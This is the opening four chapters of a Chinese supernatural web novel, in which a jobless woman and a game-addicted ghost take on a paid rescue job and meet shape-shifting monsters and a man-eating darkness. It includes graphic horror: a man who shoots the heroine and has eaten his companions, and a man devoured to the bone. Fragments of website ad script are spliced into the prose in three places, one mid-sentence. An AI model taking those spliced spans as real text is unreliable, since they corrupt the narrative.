《鬼怪入侵,我发财》 1. 幽灵 秦熏身形一颤,猛地睁开眼睛,枕头边震耳欲聋的手机铃声把她从梦中惊醒。 她忙摸出手机一看,脸色瞬间失望透顶。 失业三个月有余,她投了不知道多少份简历,却大多袅无回音。眼看存款要花光了,再找不到工作,她可能真会饿死。 电话打来,她还满怀期待以为是hr来通知面试,没想到竟是房东,徐发。 他打电话来干什么? 手机仍在响,她提心吊胆接通了。 “您好,是秦小姐吧?” “对,是我。” 徐发清了清嗓子:“秦小姐,那个……有件事想跟你商量一下,你看看您方便吗?” 秦熏忙道:“您说,我在听。” “是这样的,您现在住的那套房子呢,我不打算跟您续租了,麻烦您这个月内搬走。” 秦熏心里一沉,“这是为什么?合约还没到期吧?你这么赶人走几个意思?” 这里已经是她能找到最便宜的租房了,如果搬走她真不知道以她现在的经济状况还能搬去哪儿,更何况她当时是一口气交了半年的房租的,现在还剩三个月没住满呢。 徐发那头顿了顿,严肃道:“秦小姐,我也不想这么搞,但最近电力局给我们打了好几个电话,说您近期用电异常高,已经影响到附近线路供电了。” 秦熏气不打一处来,想违约也找个正常借口吧,用电异常?她明明连空调都舍不得开! 但徐发发来的通话录音令她哑口无言,人还真没说谎。 附近莫名奇妙了来几次电,排查下来,直接锁定了徐发租出去的这套房,因为用电负荷巨大,一下子把附近线路都整瘫痪了。 徐发继续道:“我不会细究你到底在干什么,但我也不想冒风险,希望你体谅一下。你交了半年房租,扣掉头三个月,剩下的差不多刚好填上罚款和多出来的电费。也就不用你额外再出钱了,赶紧搬走就行。” 秦熏听傻了:“可我……” “嘟嘟——”话未说完,那头已挂了电话。 秦熏盯着只剩忙音的手机,额角突突直跳,头痛不已。 能引发附近大片线路瘫痪,谁能耗费那么多电啊? 又不是偷偷摸摸建反应堆或者开虫洞!她一个普通社畜,像是能做出这种事的人吗?! 不对,她心里忽然一咯噔,前几天的确停过一次电,正是它来她家的那天。 那天动静很大,电闪雷鸣,紧接着她家所有的电子设备都开始不受控制,最后是她的电脑。 自那以后,她的电脑就在一刻不停地游戏中。 她不知道那是什么,还以为是电脑中了毒,直到有一天洗脸的时候,镜子上突然出现一行血字——【这个BOSS我打不过,你能帮我吗?】 秦熏这才知道,她家多了一个看不见,摸不着的未知存在,她称呼为它。 她对它一无所知,只能判断它是个有着重度游戏瘾却菜得离谱的智慧体,它能在任何地方发来文字邀请,请她代打BOSS。 可能是稀罕她高超的游戏技术,它对她暂时并未表现出恶意,加上也找不到办法赶它走,秦熏只好捏着鼻子认下家里多了只不速之客的现实。 几天来,也算相安无事。 直到现在。 能让附近线路瘫痪从而导致她即将无家可归的罪魁祸首,除了这个非人存在还能有谁。 思及此,秦熏压着怒火出了卧室,径直走到电脑边,“出来,我有话问你。” 【很高兴你愿意跟我聊天,但我现在很忙,暂时没空。】 看着电脑屏幕上的小心躲避BOSS攻击的游戏主控,秦熏恶上心头,直接在键盘上一通乱按,主控惨死在BOSS手下。 她冷笑一声:“现在有空了?” 【好吧。你想聊什么?】 “我家的电,怎么回事?” 【哦,你说这个。因为我是体验派,所以喜欢直接投身于游戏世界游玩,这样可能会造成用电负荷过大,忘记跟你说了。】 秦熏:“……” 它承认得倒是很爽快,却一点都没意识到这样会给她带来多大麻烦。 她深吸了一口气,握了握拳头:“你能现身吗?” 我真的很想揍你一顿。 【很奇怪的要求。】 秦熏淡淡道:“因为我想跟你面对面谈,我们人类都是这样的,这样才能表现诚意和友好。” 【啊,原来如此。可我刚被唤醒,暂时没有任何形态的躯体。】它在文字后面加了个微笑的表情,【不过你不用担心,我无处不在,对着哪里说话都可以的。(^v^)】 秦熏叹了口气。 【你看上去很失落?】它明显误解了秦熏失望的原因,【没关系,几年后我会彻底苏醒,那时候就有躯体了。】 几年……秦熏痛苦地捂紧胸口,它还想在她身边赖几年? 她拍案而起:“不行!赶紧给我滚!” 【为什么?】 秦熏感觉身边的温度变得更冷,简直像一只冷风机直直对着吹,然后再迎头浇下一桶冰水一样冷。 换是普通人,哪敢直接跟这种超自然体硬刚? 但穷鬼愤怒到极点的时候,是不知道害怕的。 “你到底为什么一直缠着我?”秦熏厉声质问。 【你欠我的。】 她差点一口气没上来心梗发作猝死,谁欠谁? “我欠你什么了?我这辈子唯一弄死过的东西就是蟑螂,你总不可能是蟑螂化身,找我报仇来了吧?” 这个猜测俨然令对方很生气,温度冻得她直哆嗦。 电视机突然自己打开,出现秦熏在江边烧东西的画面。 屏幕下方多出一行字幕:【你烧了我的容器。】 秦熏眉头紧锁,她对这个画面毫无印象:“你这是诽谤,我根本没去过江边。” 电视机上里的字幕滚动着半天吐不出字来。 半晌,终于再度运作,用词看着还有点委屈,【你居然完全忘了?】 秦熏无奈:“几年前我被人送到医院,醒来后浑身上下只有一张身份证,其余的啥都不记得了。” 她最初也想过恢复记忆的办法,但几年过去,记忆还是完全没有回来的迹象,她于是干脆放弃,老老实实过日子。 “如果你是为了这事缠上我,大不了以后我有钱了,赔你一个,你从此不要出现行不行?” 对方似乎更委屈了:【你要赶我走吗?但我被唤醒后,除了跟你有关的事,什么都不记得了,能接触的人类也只有你。】 秦熏:“……” 她刚说完自己失忆,转头它也失忆?这家伙脸皮可真是……直接照搬她的借口,甚至都不愿自己想个新的。 她冷笑:“哦,是吗?只记得我?那你怎么还知道可乐要喝可口,不喝百事?这不是记得挺牢的么?” 说到这里,她怒而举起茶几上少了一半的薯片,“还有这个,你怎么还记得原味薯片更好吃,点名要我买原味的?” 那头沉默片刻,若无其事转移话题:【我们其实没必要针锋相对,我留在你身边并不会给你造成任何困扰,甚至你有需要时我可以提供帮助,就像你们人类说的AI管家一样。】 秦熏阴阳怪气道,“管家?拜你所赐,我马上就要无家可归了,真是谢谢你啊。” 它瞬间捕捉到重点:【无家可归 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?】 秦熏憋了好久的气一股脑宣泄而出,从失业找不到工作入不敷出,到无辜受连累被迫退租,这段时间的不满通通被她倒了出来。 【你说得太快,我没听清,先喝点东西冷静一下?】 空中飘来一个酒杯,搁在她手边的茶几上,杯子里装满冰块和小半杯果饮, 秦熏:“……” 她面色几经变化,“你就是不肯走?” 【对。】 它拒绝得理直气壮,秦熏气得嘴唇直哆嗦,她蹭地站起身,冷着脸出了门。 秦熏去了家附近的公园,坐在长椅上发呆。 刚打开租房软件看过,越看越肉痛,怎么都这么贵……价格个个是她现在住处的两三倍往上。 这下好了,真要睡大街了。 公园里的鸽子不怕人,簇拥到她身边,有些甚至飞到长椅上,好奇地啄了啄她手机上的饼干形状的挂坠,多半是把这东西当食物了。 秦熏气恼,家里的幽灵也好,外面的鸽子也罢,一个赛一个的皮厚。 她挥挥手:“没有吃的,走开。” 鸽子不依不挠,围着她讨食不休,秦熏正苦于无法脱身,所有的鸽子忽然扑棱着翅膀,飞到她对面的长椅上。 她抬头看去,那儿不知何时多了个人,有一搭没一搭地往地上抛洒鸟食。 此人装扮有些奇怪,头上戴着鸭舌帽,面上墨镜口罩捂得严实,连手上都戴着黑色连指手套,全身上下没有一处皮肤露在外头。 要说是怕晒吧……可现在都六七点,太阳早下山了,而且大夏天的,穿这么多居然也不嫌热? 但想穿什么人家的自由,秦熏也不便多问。 她起身要走,那人却突然出声,“你好。” 声音怪怪的,听不出男女。 秦熏步伐微顿,“你在跟我说话?” 他点点头,递了一把饲料给她,“我看你在这儿坐了很久,要喂鸽子么?” 秦熏摇摇头:“不了,我要走了。” 话音刚落,一个电话突然打了进来。 她定睛一看,来电人号码可太熟悉了,王赫。 王赫是她前公司的老板,公司不大,但浅滩出王八,养出王赫这种极品。 王赫曾做出让她连加半个月班,早八晚11的“壮举”,至于加班费?不好意思,咱们公司是小本生意,现在手头紧,以后再说。 而且他经常是也不管什么时间,一个电话打来劈头盖脸催进度,秦熏那段时间睡眠质量前所未有的差。 被压榨成这样,最后还是难逃被优化。 这号码就跟刻在她脑子里一样,即使删掉,再见时也难免生理厌恶。 她想都没想,直接挂断。 然而王赫锲而不舍,电话打不通,又发了短信过来:“你说真的?你真的可以帮我?只要你能救我,20万,我能给到20万!” 秦熏眉头一紧,她说什么了?什么真不真的? 她仔细看了眼短信记录,登时吃了一惊——居然是她这边先发的短信。 发信时间在十分钟前:“我有办法救你的命,就看你出不出得起我要的价钱。” 秦熏人都懵了,她压根儿没给王赫发过短信啊! 能神不知鬼不觉做出这种事的,除了家里那只幽灵,不做他想。 她绷着脸往家赶。这家伙到底在玩什么花样? 没走几步,那喂鸽子的人突然绕到她跟前,“为什么不答应?王赫应该有不少钱,这应该能抵我消耗的电费吧?” 秦熏猛地看向眼前人,他说什么? 他幽幽道:“既然你更喜欢面对面谈话,那我也不介意暂时用一下别人的身体。” 2. 契约 秦熏震惊。 “什么叫暂时用一下别人的身体!”她噌噌噌往后退了几步,“你不会杀人了吧?” “当然不会,我对杀人没有兴趣。” 它伸手拉开自己的拉链,露出底下颇为骨感的身材——毫不夸张,真的是骨头,跟医院里的骨头架子标本一模一样,“这具身体已经死了很久了。” 秦熏倒吸了一口凉气,天,这家伙是从哪儿刨出这具骷髅的? 作为人类,她根本无法理解它的脑回路,“你到底想干什么?” 它重新拉上拉链,平静道:“你们人类似乎愿意为了摆脱一些不符合物理规律的事付出大价钱,这是一条致富之路。” 致富……秦熏目光微凝,“致富之路”这四个字之于她相当于猫薄荷之于猫、可乐之于肥宅,是不可戒断,不可抵御之诱惑。 她仍有些狐疑,“你到底为什么非要缠着我不放?” 它两手一摊:“好吧,我说实话。你身上有种特殊的能力,能快速修复我的灵体,其他人类无法做到,所以我不想离开你。” 秦熏恍然大悟,原来如此。 她低头琢磨了一会儿,它对她有所图,她对钱有所图,这么一来,合作基础是有了。 片刻后,她重又看向对方:“王赫遇上的事,你能解决?” 它指了指秦熏,“是你来解决,你有这个能力。” “我?”秦熏诧异挑眉。 开什么玩笑,那么多警察都找不到失踪的人,她一个普通人怎么行? “是的。”它平静道,“我可以激活你的部分能力,就当这些时间你收留我的报酬。”言罢它打了个响指,手上多了一张牛皮纸。 “为表诚意,我拟了一份合同。你一点头就生效。” 秦熏垂眸一看,合同上密密麻麻写了不少字,概括来说,就是秦熏提供住宅,它则必须在接下来的几年时间内甘受秦熏驱使,助她解锁封印体内的能力,并将劳动所得全部上缴。 她有些疑惑:“封印体内的能力?什么能力?和我的记忆有关?” “我也不知道。”它坐回长椅上,继续喂鸽子,“因为你烧了我的容器,很多事我已经不记得了,能力也大受限制,哪些部分被激活了得你自己摸索。” “……”秦熏抿了抿唇,“那王赫是怎么回事?” “你不知道?他失踪了。” “失踪?”秦熏蓦地想到什么,“他也被卷进那起连环失踪案了?” 那个案子她知道,近几个月来,本市已发生几十起人口失踪案,这些还是登报了的,其他看不见的只会更多。 警方出动大量警力四处搜寻都没找到失踪人口的下落,这么久过去,没见人回来,反有更多人消失,这事儿已是闹得沸沸扬扬,人心惶惶。 它无甚所谓地耸了耸肩,“或许吧。也没必要弄那么清楚,把人搞回来就能拿到钱,不是吗?” 秦熏睫毛一抖,这家伙真是很会往她软肋上戳。 是啊,有钱就行,管那么多干什么。 她果断给王赫回拨,“我要一百万。” 王赫急了:“一百万!你怎么不去抢!我哪有那么多钱?!” 秦熏淡淡道:“你的命难道不值这个价?” 还别说,她觉得自己适应角色极快,好像不是第一回做这种勒索……啊不,助人为乐的事。 那头没犹豫多久,咬着牙同意了,“行。” “先给十万定金,事成后加付尾款。” 王赫这会子就抓住了救命稻草一样,哪会拒绝。刚加回微信,秦熏就收到一笔转账,她眼睛一亮,嚯,这么爽快。 王赫急道:“你什么时候来?” 秦熏轻咳一声,“地址给我,明早过去。” “明早?!不行,”王赫听上去又惊又急,“他今晚就可能杀了我!我在老三院,现在,现在就过来!” 秦熏面色微变,老三院? 因为三院在的位置太偏,不方便患者就医,前年搬到了市中心,老三院的楼早就都拆了,他怎么会在那儿? 想了想,她决定还是去一趟,看在钱的份上。 “好,我一会儿到。” 挂断电话后,她侧目看了眼身边穿着严实的骷髅,“你……要不你还是换成原来那样吧。” 既然现在它愿意表现诚意,帮她赚钱,那她也不介意跟它和平共处。 但她还是更习惯它那种无形无相的状态,一想到它现在这“身体”是不知道哪儿弄来的骨架,她就觉得心里膈应。 它理了理头顶的帽子,“我看电视里玄学大师身边一般都有个助理或者保镖的。” 秦熏觉得它说得倒挺有道理,也就不坚持了,“反正回去的时候不能是这个模样,我家不许进骷髅。” 它点点头,“好。” -- 秦熏打了辆车,跟司机说去老三院。 司机诧异地瞪大眼睛:“老三院早就拆了,你们还去那儿做什么?” 秦熏敷衍笑笑,“有点事。” “哦哦。”司机没再多问。但车到半途,他还是忍不住开口,“我可以把你们送到那附近,但剩下的一段路得你们自己走了。” 秦熏皱眉:“为什么?” “那附近的公路有点邪门儿。”他犹豫着道,“其实我劝你们也最好别去,但如果你们坚持,那我只能送到外围。” “出事?”秦熏一下子坐直了,“闹鬼?” 司机摇头,“也不是,就是会莫名其妙撞到东西,可能是那片野生动物比较多。” “那开慢点呗。” 司机叹了口气,“不是咱们开得快慢的问题,是有东西会往车上撞,你就停那儿不动,都有可能被撞,出去一看,车身上好几个凹坑。” “哈?”秦熏诧异,“什么东西撞的?这么大力气?” 车身可是铁皮,除非是大型动物或者高速撞来的东西,否则哪有本事在车身上留坑? “怪就怪在这儿了,”司机道,“都说被撞了,一问是什么撞的,却没人知道。而且就车有这个待遇,人进去吧,啥事儿没有。” 他举了个例子,“我们群里有几个小伙子,年轻气盛,非得弄清楚是什么东西撞了他们的车,前段时间结伴步行进了林子,结果都好端端地出来了。” “那查清楚是什么了没?” “这倒是没有,”司机摇摇头,“他们说林子里乌鸦很多,可能是它们搞的吧。” 秦熏摸了摸下巴,乌鸦哪有那么大本事? 司机顿了顿,有点不好意思道:“我这车今年前不久出了点小事故,才修好呢,要是再撞一下,那……您二位体谅一下哈,那儿离目的地也不远,就几百米,走过去也不费事。” “行。”秦熏答应了。这年头谁赚钱都不容易,没必要非为了少走那么几步害人车被砸出几个坑来。 没多久,车在路边停下,秦熏下了车,眼前赫然是一段无人的公路,路旁林区寂静,甚至听不见鸟虫声。 还别说,忽略这地方的阴森,还真是个避暑胜地, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阴凉又没有蚊子,完美规避夏天最大的两个缺点。 走了有十来分钟了,眼前依旧是看不见尽头的公路,秦熏开始觉得不对劲了。 几百米,有那么长吗? 秦熏回头看了眼跟在她身边的骷髅,它盯着路旁的林子,“活人的气息。” 林中跌跌撞撞跑出一个年轻男子,看见秦熏,他眼里忽然迸发出极强的喜悦, 没等秦熏开口,他扭头沿着公路开始狂奔。 不一会儿,他的身影突兀地消失在笔直的公路上。 秦熏眉头一跳,凭空消失? 她正觉奇怪,那人又不知怎么的,居然从她右手边的林子里跑了出来,险些撞到她身上。 再见秦熏,男子却不再兴奋,脸上挂起极度失望的神色。 他仰头看着天空,目光直直地盯着上方被茂密的林叶割出的一线夜空,低声喃喃:“又失败了……” 秦熏被他这一出搞得一头雾水:“到底是怎么回事?” 男子怔怔看向她:“你是今天进来的?” 秦熏没否认,“有什么不对么?” 男子神色木然,“我是陈然,前段时间和几个朋友组队进了这个林子,想要弄清楚到底是什么砸了我们的车。那之后,我们就再也没出去过。” 秦熏眸中闪过一丝诧异,“你们是那群进来调查的司机?”不对啊,照刚刚那位司机的话,进来的年轻人不都顺利出去了么? 陈然扯了扯嘴角:“是啊,早知道会被困在这里,说什么我都不会来的。” 秦熏眉头皱起:“可外面的人都见到你们出去了。” 陈然木然道,“这林子里有能伪装成人类的怪物,每次有新人进来,通道就会打开一小段时间,它们就会趁这个时候顶着我们的模样出去。” 有人进来,通道才会开……秦熏若有所思:“所以我刚才进来的那一会儿,通道是开启的状态?” 他有些挫败地点点头:“可我还是没赶上。也是,通道本来就是给怪物们开的,只有它们那么快的速度才可能在通道合上前离开,我一个人类,就算知道通道存在又有什么用,还不是要困死在这儿。” 秦熏打量着这篇静谧的森林,“你被困了多久?” “两个月。”陈然苦笑:“早知道我就开车来了,车速度快,起码能趁着通道打开的间隙离开;外壳也硬,它们没办法撬开,至多锤击泄愤……但人就不一样了,速度也好,力量也好,跟这种怪物完全不是一个量级的。” “它们会攻击人?”秦熏上下打量着眼前青年,他身上虽然有血,却没有明显伤口,如果那怪物真有把汽车砸出凹坑的力量,又极具攻击性,没道理他还能跑能跳的。 “是的,”陈然颔首,“跟我来,我知道有个地方它们不敢去,那里很安全。” 说完他指了指林中若隐若现的一处木屋,“走吧,趁怪物们没来,我们赶紧过去。” 秦熏眯了眯眼睛,总觉得哪里不对,她环顾四周,又问:“那你的同伴们呢?” “也在里面。” 秦熏狐疑:“那么小的屋子,装得下那么多人?” 陈然沉默片刻,突然抬眸看向秦熏,喃喃低语,“你长得这么漂亮,有点可惜……我其实也不想的,但……但也只能这样了。” 他不知哪儿掏出一把枪,干净利落对着她扣下扳机。 秦熏瞳孔一缩,靠!靠!玩真的?! 一切发生得极快,子弹正中她的胸口,中弹处尖锐地痒了一下,多了个醒目的洞。 3. 名片 她愣愣地摸了一下伤口,没有血,中弹处甚至一点都不痛,甚至眨眼功夫,那个血窟窿就不见了,连衣服都没破。 幻觉? 她有些茫然地眨了眨眼睛,“你……你刚才打中了吗?” 陈然面上的狠厉凝固了,他比秦熏还震惊。 呆滞半晌,他看了眼枪,又看了眼一脸状况外的秦熏,不信邪地又对她开了一枪。 这回是直接冲着她脑门儿来了。 秦熏以为自己会脑洞大开,实际上,也只是脑门儿痒了一下。 她更茫然了,“你用的是空包弹么?” 陈然嘴唇都在哆嗦,他难以置信盯着秦熏,看她的眼神就像在看什么怪物。 秦熏看向静静站在一边的骷髅,“你弄的?” 它推了推墨镜,“啊,原来激活的是这个能力,刀枪不入。” 秦熏眉头一挑,嚯,这能力好。 陈然被她吓得连连后退,不慎踩空,一屁股跌坐在地,哪还有刚才拿枪要杀她的威风。 她蹲下身去抢他手里的抢,“你玩够了是吧,来,给我试试。” 陈然脸色大变,本能地恐惧她的靠近,手里的抢握得跟救命稻草一样紧。 但经过刚才的尝试,他又如此清楚枪对眼前这个怪物女人没用,秦熏越笑得人畜无害,他越觉得寒意从骨缝里库库往外渗。 连森林里的怪物都怕这个,她怎么做到毫发无伤的? “松手。”秦熏命令他。 他浑身一颤,像被烫着了似的,飞快撒开枪把,任由秦熏抢走。 秦熏掂量了一下,沉甸甸的,枪管还发着热。 “这东西是真的么?”她举枪对准陈然,“怎么打人没洞?我试试呢。” “等等!”陈然高举双手,“别开枪!” 秦熏眯了眯眼睛,他忙道:“你难道不想出去?我……我知道通道在哪儿!” 秦熏瞥了眼来处的公路,“不就是这儿么?” 陈然为求保命,啥都不敢隐瞒了,“其实还有一个通道,但我一个人不敢走。”他努力陪着笑脸。“我可以给你引路,唯一的要求就是别杀我。” 秦熏却没急着应声,这人居心叵测,她可不敢轻信。 她转了转手上的枪,“你怎么知道的?” “有些怪物也会往那边走,我跟着它们去看过。” “哦?它们还准你跟着?” 陈然嘴唇动了动,瑟缩道:“它们不会杀人,只是想要人的外表和身份而已。” 秦熏讽刺地勾了勾唇角,“所以其实这林子里会杀人的,也只有你?你的同伴,也是你杀的吧?” 陈然目光闪了闪,争辩道:“我……我也不想的,可我们已经困了好久了,食物就那么多……这儿里又只有怪物,没有能吃的东西。” 秦熏目光变了,“你不会拿同伴的尸体当……” “我也只是想活命而已。”男人哀求地看着她,“我的家人都在外面,我妈生了病,我还有个上小学的孩子,我必须活着回去……” 秦熏顿觉一阵恶寒。 如果今天进来的不是她,而是其他人,或者她没能在那两枚子弹下存活,那毋庸置疑也会落得他同伴那样的下场。 她目光锐利冰冷:“其他人就没有家人?” 陈然哑然。 秦熏又问,“枪呢?这东西是哪儿来的?” 陈然垂下目光:“是通道外捡到的。” “通道里有什么?” “不知道,”他老实摇头:“我只看怪物们进去过。” 秦熏沉吟片刻,回头看了眼没有尽头的公路,用枪指指他,“起来,带路。” 陈然如蒙大赦,忙起身往林中走,“路上可能会经过一些‘人’,不要盯着它们看就好。” 秦熏跟在他后头,静静打量着这个林子。 这里的树棵棵都至少有两人合抱粗,树冠遮天蔽日,感觉是那种没被开发过的原始丛林,每个角落都弥漫着令人不安的陈腐气息。 幽暗的林中时不时能看到人影,有些穿着衣服,有些浑身赤-裸,白花花的人体或伫立或蹲守在低矮的灌丛中,静静注视着秦熏等人。 它们的表情和动作一直在变,有些在模仿被枪指着的陈然,有些模仿举枪指人的她。 可能是觉得自己学得很像,有些“人”会用力弯起嘴唇,露出人类的微笑。 秦熏被它们盯得鸡皮疙瘩都起来了。 “人”群里有个小姑娘,才到其他“成年人”的腰部,秦熏心里一咯噔,难道这里还进来过孩子? 她一时忘了陈然说的不要盯着它们看,忍不住多瞧了它几眼,那小姑娘的脸于是慢慢变形,变成了秦熏的模样,冲着她“微笑”起来。 秦熏别开眼,喵的,这也太邪性了! 然而这只小个子怪物似乎看中了她,它拨开灌丛出来,紧紧黏在她身边,亦步亦趋,每个步子,每个动作都比着她做,同时一点一点拉长身体,努力往她的体型上靠,力求变得和她一模一样。 但这对它而言似乎并不容易。 好不容易长到跟她一样高,脸却垮得像融化了的冰激凌,这时候再回去努力维持脸的标准,那身体就会扭曲变形,大部分时候,就像秦熏的脸长在了蛇身上。 秦熏欲言又止,难怪互联网上的大家那么讨厌学人精,这真的有点让人生理不适了。 她眼角抽了抽:“别跟着我!” “别跟着我!”那东西学着她说话,但它俨然并未熟练掌握人类声带的用法,有些地方破音,有些地方走调,主打一个“呕哑嘲哳难为听”。 陈然建议:“你可以开枪打它的。” 秦熏瞥他一眼,他飞快低下头,但眼中那道精光还是没能逃过秦熏的眼睛。 她心里冷笑,这东西既然有极快的速度和能把铁皮车打出凹坑的力量,她不觉得一枪下去把它们激怒了会有什么好结果。 她冷冷道,“我都没冲你开枪,打它们做什么?” 陈然悻悻闭嘴,没说话了。 但这怪物跟着她也着实烦人,秦熏回头看了眼身后的骷髅,“你不能赶走它?” “它只是在跟你打招呼,它很喜欢你。” 秦熏不雅地翻了个白眼,果然非人物种的脑回路都是这么奇怪的是么,这也能被归在打招呼的范畴? “让它别跟着我。” 它于是抬手摸了一下那只怪物的头。 也不知这家伙和怪物传递了什么讯息,对方在原地愣了一下,紧接着脸上的五官和畸形的四肢就缓缓消失了,变成一个光滑的圆球,慢吞吞滚回丛林中。 这一举动激起了怪物群的连锁反应,它们纷纷褪去伪装出来的人类外表,以球的形态在林中自由活动。 陈然瞪大眼睛,他看看森林又看看秦熏,终于忍不住问道:“您二位到底什么来头?” 秦熏语气不善:“不该问的别问。” 一直安静跟在她身后骷髅此时却突然插话:“秦老师是业界有名的驱邪大师,术法高强,收价公道。而我是秦老师的助理,你可以叫我阿冬。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“秦,秦老师?”陈然惊诧地看向秦熏,“是说这位?” 阿冬点点头,很憧憬似的:“跟在秦老师身边,我真的学到好多。” 秦熏:“……” 她眼前一黑,这家伙还真会睁着眼睛说瞎话。 阿冬不知从哪儿弄出一张金灿灿的名片,递给目瞪口呆的男人:“如果你能活着离开的话,日后遇上麻烦,可以找我们工作室咨询,也记得多帮我们宣传。” 陈然愣了一下,“工作室?” “是的,我们……” 眼看说下去要没完没了,秦熏听不下去了,她用枪捅了捅陈然的后背,又警告地瞥了满嘴跑火车的阿冬一眼,“够了,都闭嘴,继续走。” 被枪指着,陈然浑身一激灵,不敢再多话,老老实实引着他们一路深入到丛林尽头。 丛林尽头是一片黑暗,越过这片黑暗,能看见远处的一段公路,公路边立着栋陈旧的建筑,昏黄路灯映亮建筑主体。 秦熏眼睛微微睁大,这建筑分明是外界已被拆掉的老三院。 这建筑于秦熏而言,又熟悉,又陌生。 说熟悉,那是因为她三年前就是在老三院的病房里醒来的。当时是有人在自家门前看见昏迷的秦熏,把她送进了医院。 医生怀疑秦熏可能是脑部受了创伤,导致失忆,所以让她留院观察了一段时间,实在查不出她身体有什么问题才放她出的院。 她在老三院待了有半个多月,半个月里几乎把老三院每个能去的地方都逛了个遍,能不熟悉么。 可说陌生,又是真陌生。 她记忆中的老三院即使在夜里也灯火通明的,随时能看到夜班护士和大夫忙碌的身影,可眼前的建筑沉默矗立在昏黄的路灯下,毫无光亮。 她问陈然:“你说的通道,在医院里?” 陈然点头:“应该吧,那几只怪物们都往那边走了。” 秦熏若有所思,王赫说自己在老三院,多半他也进了这个区域。 刚在林中的时候,还有些不知哪儿来的幽光照明,出了林子后,附近就很暗了。 她拿出手机,打开手电筒照明。 可无边的黑暗沉重厚实,就像干燥的海绵,吸走手机上这点微弱的光,伸手出去,只能勉强看到一点轮廓。 黑暗里有一些细碎的声响,听着人心里不安,但好在离医院已经不远,有路灯的光指引方向,只要摸黑朝那个方向走就行,最多也就十来分钟的事。 刚这么想着,她忽然觉得皮肤痒得厉害,像是有成千上万只小虫在身上咬,她忍不住动手挠了两下,指尖却温热润湿,她一愣,这手感不对啊。 她手上也没水,怎么会这么湿湿黏黏的? 抬手一看,秦熏人都懵了:她指缝里全是干涸的血渍,刚挠过的地方也是一道道血痕,贯穿整条小臂,但她一点儿也不痛,只是痒,奇痒。 她摸黑看了身旁两人一眼,这两家伙居然一点动静没有?难道就她这么倒霉? 阿冬也就罢了,这家伙又不是人,怎么陈然也这么安静。 她举起手机照向陈然,光正好打在他脸上,那是一张苍白至极的脸,五官扭曲,冷汗遍布。 他努力动着嘴,似乎想说话,但嘴唇一张一合,却什么声音都没有。 秦熏心一紧,忙将光源下移,面色陡然发白。 难怪发不了声,因为他整个喉管都不见了,脖子只剩了一半,断口狰狞参差,像是被什么东西咬了一口。 她后知后觉,黑暗里那细碎的响动不是别的,而是咀嚼声。 4. 黑暗 陈然虽然少了一半脖子,但他奇迹般地还活着,眼里写满惊恐,秦熏看懂了他的嘴型:腿。 她将手电筒下移,照向他的腿。 他原本穿着条运动短裤,此时露在外头的两条小腿被啃得能看见白骨,膝盖下方已经没什么肉了。 失去肌肉和神经,单纯的骨架再支撑不了他上身的重量,陈然姿势怪异地摔倒在地,秦熏忙将光源追了过去,却见他腿部的白骨化居然已经蔓延到了大腿中部。 也就是说,只是刚才没被光照到的那一会,他腿上就少了一大圈肉。 秦熏心头大骇,到底是什么东西在吃人? 手电筒的光下,他的伤口维持在原来的样子,不见变化,仿佛从来没有人攻击过他似的。 可黑暗中的咀嚼声却仍在继续,陈然身下的草坪上淌出大片大片血。 秦熏忙又将手电往旁边打,照向他的上半身。 从她发现陈然脖子穿孔到现在,也就一分钟不到的功夫,他脖子已经被黑暗中的未知存在啃完了,白森森的头骨孤零零地摆在身躯边,连血丝肉沫都被吃得干干净净。 她算是能确定了,光照着的时候那未知存在不会进食,而只要回到黑暗中,那…… 果然,再将手电转回来时,刚才他那双浸在黑暗中的腿彻底只剩白骨,仅剩的一半已经被啃光了。 此时的陈然,身上再找不出哪怕半块血肉。 她鬼使神差抬起自己仍在不断发痒的手,也一样,在光下就不痒,一离开光,马上就有无数蚊子在咬她一样。 这么一来二去,秦熏心里打起了鼓,到底是有东西在光照不到的地方偷偷吃人,还是说……吃人的就是这黑暗本身?为什么她没像那陈然一样被啃得只剩骨头,而只是痒? 是因为那东西咬不动她么?还是说跟当时被子弹击中时一样,她快速恢复了? 她独身站在这片厚重黑暗里,四下无人,只能听见近在咫尺的咀嚼声。 那声音萦绕在她身边,和难以言说的痒一样,从她未被光照到的耳边,颈侧,蔓延到同样被黑暗包裹的手臂,脊背。 她清楚听见自己被啃噬的过程。 秦熏浑身发冷,这到底是什么鬼地方。 她没心思多想,迈开腿,大步往三院的方向狂奔。 即便这片黑暗现在还没法儿把她吃掉,可谁知道待久了会发生什么。老奶奶是啃不动排骨,但只要给的时间多,人家也能顺利把肉磨碎吃掉下肚。 三院看上去离这儿也就百来米远,可她跑了五分钟,那栋建筑却还在那个位置,离她始终保持着一种又近又远的距离,而她也一直浸在黑暗中。 她缓缓慢下步子,低头看向足边,陈然的颅骨静静摆在原地,两个黑窟窿直直盯着她。 秦熏面色登时难看至极,跑了这么久,她压根儿半米都没跑出去过。 “喂!你在哪儿?”她举着手电,想在黑暗里找到阿冬,这家伙一身黑,完美融进黑暗里,从刚才陈然出事的时候起,就没瞧见它身影。 手机震动了一下,她火速接起,那头是阿冬的声音:“你怎么站着不动?” 秦熏一怔,三院门口路灯下不知何时多了道身影,一身黑,帽子墨镜一应俱全,正是阿冬。 “不是,”秦熏有点糊涂了,“你什么时候过去的?” “我一直在这儿。”阿冬回道:“从森林出来后,就是这里。” 秦熏诧异,“怎么可能?”她环视一周,“我现在明明就在这片空地上,离那儿还有几百米的样子。” “你看到了什么?” “一片黑。”秦熏反问,“那你看得到我吗?” “这具骷髅没有眼睛,我只能感知你的位置。你就在我身边。” “身边?”秦熏顿时毛骨悚然,在她眼里,她离路灯下的阿冬明明隔了老远。 “快过来,王赫就在这里。” 秦熏有点着急,“我怎么过去?我刚试了,怎么跑都跑出不出去,你怎么过去的?” “什么都别看,直接走过来。” 秦熏微怔,什么都别看?是让她闭眼? 在这种一片漆黑,只有遥远的路灯充当唯一指路标的情形下,闭眼往前走真的很考验人,随时可能走偏,一偏可能就再也回不来了。 她深吸了一口气,事到如今,也只能死马当活马医,既然睁着眼的时候不行,那也只能试试盲人摸路了。 合眼瞬间,秦熏跌进梦境。 直升机低低飞过丛林上方,巨大的气流卷起下方枝叶,秦熏一低头,就能看见脚下的无垠绿海。 她皱了皱眉头,问飞行员:“不能飞高点?” 这种高度跳下去,伞都来不及打开,人就会被树枝戳穿。 